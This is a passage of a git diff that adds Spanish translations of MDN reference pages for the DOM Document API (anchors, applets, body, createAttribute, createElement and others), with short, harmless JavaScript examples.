+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Pears<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ol</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>veggies<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Veggies<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ol</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Carrots<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Celery<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Beats<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ol</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><a href="https://jsfiddle.net/S4yNp">Ver en JSFiddle</a></p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Por razones de retrocompatibilidad, el conjunto de anclas devuelto sólo contiene aquellas anclas creadas con el atribuo <code>name</code>, y no aquellas creadas con el atributo <code>id</code>.</p>
+
+<h2 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificaciones</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.anchors", "pl": "pl/DOM/document.anchors", "ja": "ja/DOM/document.anchors" } ) }}</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<div>{{Compat("api.Document.anchors")}}</div>
diff --git a/files/es/web/api/document/applets/index.html b/files/es/web/api/document/applets/index.html
new file mode 100644
index 0000000000..e6ecf71b60
--- /dev/null
+++ b/files/es/web/api/document/applets/index.html
@@ -0,0 +1,30 @@
+---
+title: document.applets
+slug: Web/API/Document/applets
+translation_of: Web/API/Document/applets
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><code>applets</code> Devuelve una lista ordenada de los
+
+ <i>applets</i>
+ del documento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>nodeList</i> = document.applets
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">// ( Cuando sabes que el segundo<i>applet</i> es el que quieres )
+my_java_app = document.applets[1];
+</pre>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM Level 2 HTML: applets</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}</p>
diff --git a/files/es/web/api/document/async/index.html b/files/es/web/api/document/async/index.html
new file mode 100644
index 0000000000..132fd106e1
--- /dev/null
+++ b/files/es/web/api/document/async/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.async
+slug: Web/API/Document/async
+translation_of: Web/API/XMLDocument/async
+---
+<p><code>document.async</code> es utilizado para indicar cuándo un llamado de  {{domxref("document.load")}} debe ser sincrónico o asincrónico. <code>true</code> es su valor por defecto, indicando que el documento se cargó asincrónicamente.</p>
+
+<p>(Desde la versión 1.4 alpha es posible cargar documentos sincrónicamente)</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Devuelve los contenidos de querydata.xml como un string
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a></li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XML_in_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li>
+ <li>{{domxref("document.load")}}</li>
+</ul>
diff --git a/files/es/web/api/document/bgcolor/index.html b/files/es/web/api/document/bgcolor/index.html
new file mode 100644
index 0000000000..7baf9c893b
--- /dev/null
+++ b/files/es/web/api/document/bgcolor/index.html
@@ -0,0 +1,39 @@
+---
+title: document.bgColor
+slug: Web/API/Document/bgColor
+translation_of: Web/API/Document/bgColor
+---
+<p>{{APIRef("DOM")}}{{ Deprecated_header() }}</p>
+
+<p><code>bgColor</code> da/define el color de fondo (bgColor) del documento actual.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>color</i> = document.bgColor
+document.bgColor =
+<i>color</i>
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<ul>
+ <li><code>color</code> es un texto representando el color como una palabra en inglés (e.j., "red") o en valor hexadecimal (e.j., "<code>#ff0000</code>").</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"># document.bgColor = "darkblue";
+# document.bgColor = "#ff00ff";
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>El valor por defecto de esta propiedad en Mozilla Firefox es blanco (<code>#ffffff</code> en hexadecimal).</p>
+
+<p><code>document.bgColor</code> está desaprobado en <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. La alternativa recomendada es el uso del estilo <a href="es/CSS/background-color"> background-color</a> de CSS el cual puede ser accesado a través del DOM con <code>document.body.style.backgroundColor</code>. Otra alternativa es <code>document.body.bgColor</code>, sin embargo, ésta última también está desaprobada en HTML 4.01 a favor de la alternativa CSS.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>DOM Nivel 0. No es parte de ningún estándar.</p>
+
+<p>{{ languages( { "en": "en/DOM/document.bgColor", "pl": "pl/DOM/document.bgColor" } ) }}</p>
diff --git a/files/es/web/api/document/body/index.html b/files/es/web/api/document/body/index.html
new file mode 100644
index 0000000000..724ee899b2
--- /dev/null
+++ b/files/es/web/api/document/body/index.html
@@ -0,0 +1,39 @@
+---
+title: document.body
+slug: Web/API/Document/body
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nodo del <code>&lt;body&gt;</code> o el nodo del <code>&lt;frameset&gt;</code> del documento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>objRef</i> = document.body
+document.body =
+<i>objRef</i>
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">// en HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+var aNewBodyElement = document.createElement("body");
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><code>document.body</code> es el elemento que contiene el contenido para el documento. En documentos con contenidos <code>&lt;body&gt;</code>, devuelven el elemento <code>&lt;body&gt;</code>, y en documentos de marco de sistema, esto devuelve el elemento extremo <code>&lt;frameset&gt;</code>.</p>
+
+<p>Aunque <code>body</code> es programable, colocando un nuevo cuerpo en un documento efectivamente quitará a todos los hijos actuales del elemento existente <code>&lt;body&gt;</code>.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-56360201">DOM Level 2 HTML: HTMLDocument.body</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.body", "pl": "pl/DOM/document.body" } ) }}</p>
diff --git a/files/es/web/api/document/characterset/index.html b/files/es/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..b4fb1e2551
--- /dev/null
+++ b/files/es/web/api/document/characterset/index.html
@@ -0,0 +1,36 @@
+---
+title: document.characterSet
+slug: Web/API/Document/characterSet
+translation_of: Web/API/Document/characterSet
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve la codificación de caracteres (conjunto de caracteres) usado en el documento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>string</i> = document.characterSet
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">&lt;button onclick="alert(document.characterSet);"
+&gt;Mostrar conjunto de caracteres&lt;/button&gt;
+// devuelve el conjunto de caracteres del documento, por ejemplo "ISO-8859-1 o UTF-8"
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>La codificación de caracteres es el conjunto de caracteres usados para interpretar el documento, el cual puede ser diferente a la codificación especificada por la página (el usuario puede omitir la codificación).</p>
+
+<p>Para una lista completa de juegos/conjuntos de caracteres, visite: <a class="external" href="http://www.iana.org/assignments/character-sets" rel="freelink">http://www.iana.org/assignments/character-sets</a>.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>DOM Nivel 0. No es parte de ningún estándar.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/document.characterSet", "pl": "pl/DOM/document.characterSet" } ) }}</p>
diff --git a/files/es/web/api/document/clear/index.html b/files/es/web/api/document/clear/index.html
new file mode 100644
index 0000000000..6208e48885
--- /dev/null
+++ b/files/es/web/api/document/clear/index.html
@@ -0,0 +1,31 @@
+---
+title: Document.clear()
+slug: Web/API/Document/clear
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Method
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpectTable
+  - Referencia
+translation_of: Web/API/Document/clear
+---
+<p>{{APIRef("DOM")}}{{ Deprecated_header() }}</p>
+
+<p>Método que se usa en versiones anterior a las 1.0 de Mozilla para para limpiar el documento completo.</p>
+
+<p>No hace nada en versiones más recientes basado en Mozilla así como en Internet Explorer y Netscape 4.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="eval">document.clear()
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/html/#dom-document-clear" title="http://www.whatwg.org/html/#dom-document-clear">HTML5</a></li>
+</ul>
diff --git a/files/es/web/api/document/close/index.html b/files/es/web/api/document/close/index.html
new file mode 100644
index 0000000000..313678de2c
--- /dev/null
+++ b/files/es/web/api/document/close/index.html
@@ -0,0 +1,27 @@
+---
+title: Document.close()
+slug: Web/API/Document/close
+translation_of: Web/API/Document/close
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>El método <code>document.close()</code> finaliza la escritura de un documento abierta con <a href="/en/DOM/document.open" title="en/DOM/document.open">document.open()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">document.close();
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>// Abrir un documento.
+// Escribir contenido en el documento.
+// Cerrar el documento.
+document.open();
+document.write("&lt;p&gt;El único contenido.&lt;/p&gt;");
+document.close();
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-98948567">DOM Level 2 HTML: <code>close()</code> Method</a></p>
diff --git a/files/es/web/api/document/contenttype/index.html b/files/es/web/api/document/contenttype/index.html
new file mode 100644
index 0000000000..f385843676
--- /dev/null
+++ b/files/es/web/api/document/contenttype/index.html
@@ -0,0 +1,25 @@
+---
+title: Document.contentType
+slug: Web/API/Document/contentType
+translation_of: Web/API/Document/contentType
+---
+<p>{{ ApiRef("DOM") }}{{Non-standard_header}}</p>
+
+<p>Devuelve el tipo MIME con el que el documento está siendo renderizado. Puede obtenerlo a partir de los encabezados HTTP (Headers) o de otras fuentes de información MIME, y puede ser afectado por conversiones automáticas inferidas tanto por el navegador como por cualquiera de sus extensiones.</p>
+
+<h2 id="Notes" name="Notes">Sintáxis</h2>
+
+<pre class="eval"><var>contentType</var> = <var>document</var>.contentType;
+</pre>
+
+<p><code>contentType</code> es una propiedad de sólo lectura.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Esta propiedad no es afectada por los tags meta.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p>No estándar, sólo soportada por <a href="/en/Gecko" title="en/Gecko">Gecko</a>.</p>
+
+<p> </p>
diff --git a/files/es/web/api/document/crearatributo/index.html b/files/es/web/api/document/crearatributo/index.html
new file mode 100644
index 0000000000..22f769d577
--- /dev/null
+++ b/files/es/web/api/document/crearatributo/index.html
@@ -0,0 +1,91 @@
+---
+title: Document.createAttribute()
+slug: Web/API/Document/crearAtributo
+tags:
+  - Atributos
+  - Crear Atributo
+  - JavaScript
+  - Métodos
+translation_of: Web/API/Document/createAttribute
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>El método <code><strong>Document.createAttribute()</strong></code> crea un nuevo nodo de tipo atributo (attr), y lo retorna. El objeto crea un nodo implementando la interfaz {{domxref("Attr")}}. El DOM no impone que tipo de atributos pueden ser agregados a un particular elemento de esta forma.</p>
+
+<div class="note">
+<p>El texto pasado como parametro es convertido a minusculas.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>atributo</em> = document.createAttribute(nombre)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametros</h3>
+
+<ul>
+ <li><code>nombre</code> es un string conteniendo el nombre del atributo.</li>
+</ul>
+
+<h3 id="Valor_que_retorna">Valor que retorna</h3>
+
+<p>Un nodo {{domxref("Attr")}} nodo.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li><code>INVALID_CHARACTER_ERR</code> si el parametro contiene caracteres invalidos para un atributo XML .</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">var nodo = document.getElementById("div1");
+var a = document.createAttribute("miAtributo");
+a.value = "nuevoVal";
+nodo.setAttributeNode(a);
+console.log(nodo.getAttribute("miAtributo")); // "nuevoVal"
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Comportamiento preciso con caracteres en mayuscula </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_buscador">Compatibilidad del buscador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde estructuras de datos. Sí le gustaría contribuir con estos datos, por favor revisar <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y enviarnos un pull request.</div>
+
+<p>{{Compat("api.Document.createAttribute")}}</p>
+
+<h2 id="Ver_ademas">Ver ademas</h2>
+
+<ul>
+ <li>{{domxref("Document.createElement()")}}</li>
+</ul>
diff --git a/files/es/web/api/document/createdocumentfragment/index.html b/files/es/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..5137778ee7
--- /dev/null
+++ b/files/es/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,119 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div></div>
+
+<p>Crea un nuevo <code><a href="/en-US/docs/DOM/DocumentFragment" title="DOM/DocumentFragment">DocumentFragment</a></code> vacio, dentro del cual un nodo del DOM puede ser adicionado para construir un nuevo arbol DOM fuera de pantalla.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var fragment = document.createDocumentFragment();
+</pre>
+
+<p>Se crea un objeto<a href="/en-US/docs/DOM/DocumentFragment" title="DOM/DocumentFragment"> DocumentFragment</a> vacio, el cual queda listo para que pueda insertarseles nodos en el.</p>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p><a href="/en-US/docs/DOM/DocumentFragment" title="DOM/DocumentFragment"><code>DocumentFragment</code></a> son Nodos del DOM que nunca forman parte del arbol DOM. El caso de uso mas comun es crear un <em>document fragment</em>, agregar elementos al <em>document fragment</em> y luego agregar dicho <em>document fragment</em> al arbol del DOM. En el arbol del DOM, el <em>document fragment</em> es remplazado por todos sus hijos.</p>
+
+<p>Dado que el <em>document fragment </em>es generado en memoria y no como parte del arbol del DOM, agregar elementos al mismo no causan <a href="http://code.google.com/speed/articles/reflow.html">reflow</a> (computo de la posicion y geometria de los elementos) en la pagina. Como consecuencia, usar <em>document fragments</em> usualmente resultan en <a href="http://ejohn.org/blog/dom-documentfragments/">mejor performance</a>.</p>
+
+<p>Tambien puede utilizarse el constructor {{domxref("documentFragment")}} para crear un nuevo fragmento:</p>
+
+<pre class="syntaxbox notranslate">let fragment = new DocumentFragment();</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Este ejemplo crea una lista de los principales navegadores web en un <em>DocumentFragment</em>, y luego adiciona el nuevo subarbol DOM al document para ser mostrado.</p>
+
+<p>HTML</p>
+
+<pre class="notranslate">&lt;ul id="ul"&gt;
+&lt;/ul&gt;</pre>
+
+<p>JavaScript</p>
+
+<pre class="notranslate">var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);</pre>
+
+<p>Resultado</p>
+
+<p>{{EmbedLiveSample("Example", 600, 140)}}</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificaciónes</h2>
+
+<ul>
+ <li>DOM Level 2: <a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-35CB04B5">createDocumentFragment</a></li>
+ <li>DOM Level 3: <a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-35CB04B5">createDocumentFragment</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vea También</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/es/web/api/document/createelement/index.html b/files/es/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..cb7b3d175b
--- /dev/null
+++ b/files/es/web/api/document/createelement/index.html
@@ -0,0 +1,180 @@
+---
+title: Document.createElement()
+slug: Web/API/Document/createElement
+tags:
+  - API
+  - DOM
+  - Documento
+  - Referencia
+  - metodo
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>En un documento <a href="/en-US/docs/Web/HTML">HTML</a>, el método <strong><code>Document.createElement()</code></strong> crea un elemento HTML especificado por su <code>tagName</code>, o un  {{domxref("HTMLUnknownElement")}} si su <code>tagName</code> no se reconoce. En un documento <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, crea el elemento XUL especificado. En otros documentos, crea un elemento con un namespace URI <code>null</code>.</p>
+
+<p>Para declarar el namespace URI del elemento, utiliza <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElementNS" title="Creates an element with the specified namespace URI and qualified name."><code>document.createElementNS()</code></a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><var>var <em>element</em></var> = <var>document</var>.createElement(<em><var>tagName, [options]</var></em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>tagName</code></dt>
+</dl>
+
+<p>Cadena que especifica el tipo de elemento a crear. El {{domxref("Node.nodeName", "nodeName")}} del elemento creado se inicializa con el valor de <code>tagName</code>. No utilizar nombres reservados (como "html:a") con este método. Al ser invocado en un documento HTML, <code>createElement()</code> convierte <code>tagName</code> a minúsculas antes de crear el elemento. En Firefox, Opera, y Chrome, <code>createElement(null)</code> funciona como <code>createElement("null")</code>.</p>
+
+<dl>
+ <dt><code>options</code>{{optional_inline}}</dt>
+ <dd>Un objeto opcional <code>ElementCreationOptions</code> que contiene una única propiedad llamada <code>is</code>, cuyo valor es el de la etiqueta name de un elemento personalizado definido previamente utilizando <code>customElements.define()</code>. Para compatibilidad con versiones anteriores de<a href="https://www.w3.org/TR/custom-elements/"> Elements specification</a>, algunos navegadores podrían permitir pasar una cadena aquí en vez de un objeto, donde el valor de la cadena es la etiqueta name del elemento creado. Ver <a href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> para más información sobre como usar este parámetro.</dd>
+ <dd>El nuevo elemento recibirá el atributo cuyo valor es la etiqueta name del elemento personalizado. Los elementos personalizados son una característica experimental solo disponible en algunos navegadores.</dd>
+</dl>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>El nuevo <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element" title="The Element interface represents an object of a Document. This interface describes methods and properties common to all kinds of elements. Specific behaviors are described in interfaces which inherit from Element but add additional functionality."><code>Element</code></a>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Crea un nuevo <code>&lt;div&gt;</code> y lo inserta antes del elemento con ID "<code>div1</code>".</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;||Trabajando con elementos||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id="div1"&gt;El texto superior se ha creado dinámicamente.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="JavaScript"><span style="line-height: normal;">JavaScript</span></h3>
+
+<pre class="brush:js">document.body.onload = addElement;
+
+function addElement () {
+  // crea un nuevo div
+  // y añade contenido
+  var newDiv = document.createElement("div");
+  var newContent = document.createTextNode("Hola!¿Qué tal?");
+  newDiv.appendChild(newContent); //añade texto al div creado.
+
+  // añade el elemento creado y su contenido al DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 500, 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1][2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Parámetro <code>options</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[4][5]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Desde Gecko 22.0 {{geckoRelease("22.0")}} <code>createElement()</code> no utiliza {{domxref("HTMLSpanElement")}} interface cuando el argumento es "bgsounds", "multicol", o "image".  En cambio, <code>HTMLUnknownElement</code> se utiliza para "bgsound" y "multicol" y {{domxref("HTMLElement")}} <code>HTMLElement</code> se utiliza para "image".</p>
+
+<p>[2] La implementación en Gecko de <code>createElement</code> no cumple la especificación DOM para documentos XUL y XHTML: <code>localName</code> y <code>namespaceURI</code> no son inicializados como <code>null </code>en el elemento creado. Consúltese el {{ Bug(280692) }} para más información.</p>
+
+<p>[3] En versiones anteriores de la especificación, este argumento era solamente una cadena cuyo valor era la etiqueta <code>name</code> del elemento personalizado. Por ejemplo: Podia recibir <code>document.createElement("button", "mi-boton")</code> en lugar de <code>document.createElement("button", {id: "mi-boton"})</code>. Por razones de compatibilidad, Chrome acepta ambas formas.</p>
+
+<p>[4] Consultar [3] arriba: como Chrome, Firefox acepta una cadena en vez de un objeto en esta posición, pero solamente desde la versión 51 en adelante. En la versión 50, <code>options</code> debe ser un objeto.</p>
+
+<p>[5] Para experimentar con elementos personalizados<code> </code>en Firefox, deben establecerse las preferencias <code>dom.webcomponents.enabled</code> y <code>dom.webcomponents.customelements.enabled </code>a <code>true</code>.</p>
+
